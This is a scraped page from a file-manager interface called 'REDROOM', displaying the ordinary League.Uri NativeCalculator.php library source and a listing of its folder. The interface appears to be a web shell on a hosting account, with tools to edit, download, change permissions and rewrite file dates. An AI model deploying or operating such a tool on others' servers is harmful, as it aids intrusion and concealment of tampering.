REDROOM
PHP 8.3.31
Path:
Logout
Edit File
Size: 1.24 KB
Close
/proc/thread-self/root/home/getspomw/itechservicellc.com/vendor/league/uri-interfaces/IPv4/NativeCalculator.php
Text
Base64
<?php /** * League.Uri (https://uri.thephpleague.com) * * (c) Ignace Nyamagana Butera <nyamsprod@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri\IPv4; use function floor; use function intval; final class NativeCalculator implements Calculator { public function baseConvert(mixed $value, int $base): int { return intval((string) $value, $base); } public function pow(mixed $value, int $exponent) { return $value ** $exponent; } public function compare(mixed $value1, mixed $value2): int { return $value1 <=> $value2; } public function multiply(mixed $value1, mixed $value2): int { return $value1 * $value2; } public function div(mixed $value, mixed $base): int { return (int) floor($value / $base); } public function mod(mixed $value, mixed $base): int { return $value % $base; } public function add(mixed $value1, mixed $value2): int { return $value1 + $value2; } public function sub(mixed $value1, mixed $value2): int { return $value1 - $value2; } }
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 5
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
BCMathCalculator.php
2.20 KB
lrw-r--r--
2025-10-28 20:22:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Calculator.php
2.55 KB
lrw-r--r--
2025-10-28 20:22:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Converter.php
8.55 KB
lrw-r--r--
2025-10-28 20:22:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
GMPCalculator.php
1.47 KB
lrw-r--r--
2025-10-28 20:22:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
NativeCalculator.php
1.24 KB
lrw-r--r--
2025-10-28 20:22:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).